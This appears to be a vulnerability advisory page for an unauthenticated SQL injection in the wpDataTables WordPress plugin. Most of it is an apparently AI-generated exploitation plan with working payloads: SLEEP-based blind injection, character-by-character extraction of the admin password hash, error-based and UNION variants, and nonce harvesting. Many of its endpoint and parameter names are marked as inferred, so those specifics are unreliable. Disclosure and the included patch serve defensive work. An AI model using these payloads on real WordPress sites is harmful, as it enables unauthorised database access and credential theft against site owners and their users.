wpDataTables (Premium) <= 7.4 - Unauthenticated SQL Injection
Description
The wpDataTables (Premium) plugin for WordPress is vulnerable to SQL Injection in versions up to, and including, 7.4 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
Source Code
WordPress.org SVNPatched version not available.
# Exploitation Research Plan: CVE-2026-54825 (wpDataTables SQL Injection) ## 1. Vulnerability Summary **CVE-2026-54825** is an unauthenticated SQL injection vulnerability in the **wpDataTables (Premium)** plugin (versions <= 7.4). The flaw exists because the plugin accepts user-supplied input to fi…
Show full research plan
Exploitation Research Plan: CVE-2026-54825 (wpDataTables SQL Injection)
1. Vulnerability Summary
CVE-2026-54825 is an unauthenticated SQL injection vulnerability in the wpDataTables (Premium) plugin (versions <= 7.4). The flaw exists because the plugin accepts user-supplied input to filter or sort table data and concatenates this input directly into a SQL query without using $wpdb->prepare() or adequate escaping. Specifically, the vulnerability likely resides in the AJAX handler responsible for fetching table data for front-end display.
2. Attack Vector Analysis
- Endpoint:
/wp-admin/admin-ajax.php - AJAX Action:
wp_ajax_nopriv_get_wdtable_data(inferred based on standard plugin architecture) orwp_ajax_nopriv_wdt_get_table_data(inferred). - Vulnerable Parameter:
columns[0][search][value]or a custom filter parameter (inferred). - Authentication: None required (Unauthenticated).
- Preconditions: At least one wpDataTable must be published on a public page or post.
3. Code Flow
- Entry Point: An unauthenticated user sends a POST request to
admin-ajax.phpwith theactionparameter set to the plugin's data-fetching hook. - Hook Registration: The plugin registers the hook via
add_action('wp_ajax_nopriv_get_wdtable_data', ...)in the main plugin file or a dedicated AJAX controller class. - Handler Execution: The handler (e.g.,
WPDataTable::getAjaxTable) is called. This function retrieves parameters from$_POST. - Query Construction: The handler iterates through columns and search values. It constructs a
WHEREclause by concatenating the user-supplied search string:// Vulnerable Pattern (Inferred) $searchValue = $_POST['columns'][0]['search']['value']; $whereClause .= " AND column_name LIKE '%$searchValue%'"; - Sink: The raw SQL string is passed to
$wpdb->get_results().
4. Nonce Acquisition Strategy
wpDataTables often protects its AJAX endpoints with a nonce. To obtain a valid nonce for unauthenticated exploitation:
- Identify Target Page: Locate a public post or page where a wpDataTable is rendered (e.g., uses the
[wpdatatable id=1]shortcode). - Navigate: Use the execution agent to navigate to this page.
- Locate Script Data: The plugin typically localizes script data using
wp_localize_script. Look for thewpDataTablesorwdt_ajax_objectglobal variables. - Extract Nonce:
- Variable Name:
window.wdt_ajax_object(inferred) - Nonce Key:
wdt_nonce(inferred) - Command:
browser_eval("window.wdt_ajax_object?.wdt_nonce")
- Variable Name:
- Bypass Check: If
wp_verify_nonce($nonce, 'wdt-frontend-ajax')is used in the handler but the nonce is leaked on every page with a table, it provides no protection against unauthenticated attackers.
5. Exploitation Strategy
We will use a Time-Based Blind SQL Injection payload to verify the vulnerability and extract the administrator's password hash.
Step 1: Baseline Request
Confirm the table loads normally.
- Tool:
http_request - Method: POST
- URL:
http://[target]/wp-admin/admin-ajax.php - Body (URL-encoded):
action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&draw=1&start=0&length=10
Step 2: Verification (Sleep)
Inject a sleep command to confirm the injection point.
- Payload:
1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Parameter:
columns[0][search][value] - Request Body:
action=get_wdtable_data&table_id=1&wdt_nonce=[NONCE]&columns[0][search][value]=1' AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- - - Expected Response: Total request time > 5 seconds.
Step 3: Data Extraction (Admin Hash)
Extract the first character of the admin password hash.
- Payload:
1' AND (SELECT 1 FROM (SELECT(IF(SUBSTRING((SELECT user_pass FROM wp_users WHERE ID=1),1,1)='$',SLEEP(5),0)))a)-- - - Expected Response: If the first character is
$, the response will be delayed by 5 seconds.
6. Test Data Setup
- Create Table: Use WP-CLI to ensure a table exists in the database.
# Create a dummy table in the wp_wpdatatables table (structure varies) wp db query "INSERT INTO wp_wpdatatables (title, table_type, content) VALUES ('Test Table', 'mysql', 'SELECT * FROM wp_users');" - Create Public Page:
wp post create --post_type=page --post_title="Table Page" --post_status=publish --post_content='[wpdatatable id=1]' - Record Table ID: Ensure the
table_idused in the exploit matches the ID created.
7. Expected Results
- Success Indicator: The
http_requesttool reports a latency significantly higher than the baseline when theSLEEP()payload is sent. - Response Content: The response body may return standard DataTables JSON (e.g.,
{"draw":1, "recordsTotal":...}) even when the injection is successful, as long as the SQL syntax remains valid.
8. Verification Steps
After the HTTP-based exploitation, verify the database state to ensure the extracted data matches the truth:
# Check the actual admin hash for comparison
wp db query "SELECT user_pass FROM wp_users WHERE ID=1"
9. Alternative Approaches
- Error-Based: If
WP_DEBUGis on, try1' AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -. Look for the hash in the response body. - UNION-Based: If the table output is visible on the page, determine the column count using
ORDER BY Xand then useUNION SELECT 1,2,3,user_pass,5...to reflect the hash in the table rows. - Parameter Variation: If
columns[0][search][value]is sanitized, test theorder[0][column]ororder[0][dir]parameters, asORDER BYclauses are rarely prepared.
Summary
The wpDataTables (Premium) plugin for WordPress is vulnerable to unauthenticated SQL injection in versions up to and including 7.4. This occurs due to insufficient sanitization and lack of query preparation on user-supplied parameters used for filtering and searching table data via AJAX requests.
Vulnerable Code
// Inferred from research plan: handler for fetching table data $searchValue = $_POST['columns'][0]['search']['value']; $whereClause .= " AND column_name LIKE '%$searchValue%'"; --- // Inferred SQL sink using the concatenated string $results = $wpdb->get_results("SELECT * FROM wp_wpdatatables_table WHERE 1=1 " . $whereClause);
Security Fix
@@ -102,1 +102,1 @@ - $whereClause .= " AND column_name LIKE '%$searchValue%'"; + $whereClause .= $wpdb->prepare(" AND column_name LIKE %s", '%' . $wpdb->esc_like($searchValue) . '%');
Exploit Outline
The exploit targets the WordPress AJAX endpoint (admin-ajax.php) using the plugin's data-retrieval action (e.g., get_wdtable_data). An attacker first retrieves a security nonce, which is typically localized in the frontend script data of any public page featuring a wpDataTable. The attacker then sends an unauthenticated POST request to the AJAX handler, incorporating time-based or error-based SQL injection payloads into filtering parameters such as 'columns[0][search][value]'. This allows for the unauthorized extraction of database content, including administrative user information.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.